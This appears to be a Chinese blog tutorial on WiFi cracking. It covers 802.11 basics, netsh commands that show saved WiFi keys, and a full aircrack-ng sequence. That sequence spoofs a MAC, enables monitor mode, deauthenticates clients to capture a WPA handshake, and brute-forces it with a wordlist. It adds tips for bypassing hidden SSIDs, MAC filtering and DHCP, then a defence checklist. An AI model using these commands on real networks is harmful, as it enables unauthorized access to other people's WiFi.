wifi破解和安全(1)暴力破解

 

1.wifi是什么

WiFi是Wireless Fidelity(无线高保真)是一种商业认证,
符合IEEE 802.11无线网络规范,是一种WLAN标准,
很多时候都把Wi-Fi等同于WLAN理解。

WLAN是Wireless LAN(无线局域网),基于IP的的通信,采用2.4GHz或5.8GHz无线频段(ISM频段)传输,
IEEE在WLAN方面的工作只定义了二层以下的协议,
目前主要集中在安全性、AP之间的信令、频谱扩展等方面。

wifi版本

最新的 802.11 ax 标准也将定义为 WiFi6,之前的 802.11 a/b/g/n/ac 依次追加为 WiFi1/2/3/4/5。
正在使用最广泛是wifi4也就是802.11n标准,最大600Mb/s,wifi6最大11G/s。
本系列内容也是基于wifi4来学习的。

2.802.11系列协议

802.11系列标准,IEEE制定的一个无线局域网标准,
主要用于解决局域网中,用户与用户终端的无线接入。
定义了基于端口的网络接入控制协议, 该协议适用于接入设备与接入端口间点到点的连接方式, 其中端口可以是物理端口,也可以是逻辑端口。 是用于用户接入认证的,认证通过则端口对用户开启。
802.11协议定义了无线局域网的物理层以及MAC层标准, 定义了物理层数据的传输方式,在MAC层采用了类似于有线以太网的CSMA/CA协议。

802.11协议定义了WLAN物理层以及MAC层的协议标准

物理层由三部分组成:
物理层管理层、 物理层会聚协议(PLCP) 和物理介质依赖子层(PMD)。

数据链路层由两部分组成:
逻辑连接控制子层(LLC)、媒体访问控制子层(MAC)。

802.11 MAC层负责客户端与AP之间的通讯。
主要功能包括:扫描、接入、认证、加密、漫游和同步。

数据从链路层向物理层传递:

MSDU(MAC service Data Unit),指的就是网络层发来的包。
然后加以MAC层的包头就构成一个MPDU,
再加PHY层的包头以及前导码构成PPDU。

 

小结:

简单来说wifi是802.11标准实现,
只在七层网络协议中的物理层和链路层, 并且只是链子层的mac层(媒体访问控制层)。 物理层是对信号进行收发, 链路层对物理层访问获取,数据分组,错误检测。

3.ap client bss bssid ssid 关系

一个ap(access point)和一个client(STA)组成最小的bss(basic service set),
有个bssid表识(MAC地址),扫描时有个ssid名称(wifi名称)。

同一个ssid下,可以有不同的ap,不同ap有不同信道和不同bssid。

4.Windows查看网卡扫描到的wifi

netsh wlan show networks //扫描到的wifi列表不显示mac地址
netsh wlan show networks mode=bssid //扫描到的wifi列表:名称和mac地址,加密方式,无线标准,信道
netsh wlan show interfaces //当前正连接中wifi信息。
netsh wlan show profiles  //显示连接过的wifi名称。
netsh wlan show profile name=wifi名称 key=clear //显示具体某个wifi详细信息。

5.windows查看网络连接:

ipconfig /all //显示详细信息
ipconfig  //显示关键信息

6.kali适配的网卡

https://www.aircrack-ng.org/doku.php?id=compatibility_drivers

https://www.wirelesshack.org/best-kali-linux-compatible-usb-adapter-dongles.html

7.暴力破解

测试环境:kali系统和支持监听模式无线网卡
通过抓取握手包对握手包暴力破解。

ifconfig //查看网络接口
sudo macchanger -m 10:11:22:33:44:55 wlan0 //修改网卡mac
sudo airmon-ng start  wlan0 //将网卡wlan0开启监听模式
sudo airodump-ng wlan0mon //扫描整个wifi网络
sudo airodump-ng -c 信道 --bssid mac地址  wlan0mon  //查看指定mac地址的wifi,主要看正连接的客户端 
//抓取握手包    
sudo airodump-ng -c 信道--bssid mac地址 -w 握手包文件名称 wlan0mon  
//断开连接中客户端,以便抓握手包
sudo aireplay-ng --deauth 9 -a wifi的mac  -c 连接中的mac   wlan0mon
aircrack-ng -w /usr/字典密码.txt  /home/握手包.cap //暴力破解

 

8.绕过一些限制的思路

1.获取隐藏ssid:必须有正在连接的客户端才能扫描到名字。
工具:common view for wifi /kali
2.绕过mac过滤:查看网络中正在连接的mac,然后修改自己的mac。
工具:common view for wifi/kali
3.绕过dhcp两种方式:
1)首先自定义ip连入网络,然后wireshark流量扫描猜测出ip范围,然后网段扫描ip和端口。
工具:scanport确认网关(网关一般是开通80端口)
2)可以通过流量分析找到wifi的mac地址得到网关ip。
工具:wireshark

 

9.wifi防御:

1.路由不用默认密码,wifi密码复杂,mac过滤,wpa2(aes)加密方式,ssid不广播
2.只允许特定mac访问管理路由(位置:家长控制)
3.关闭dhcp(不分配ip)
4.关闭wps(ping)
5.关闭upnp即插即用协议(位置:转发规则)
6.关闭wds(中继/桥接功能,位置:基本设置),专门设置桥接可让wifi路由来连接(类似再开一个热点)
7.开启防ddos功能
8.开启ap隔离(局域网用户隔离不能互相通信)
9.增强认证:802.1x或web认证类似校园网/cmcc/chinanet

 

 

 

 

 

 

 

posted @ 2018-10-03 01:01  假程序猿  阅读(6568)  评论(0编辑  收藏  举报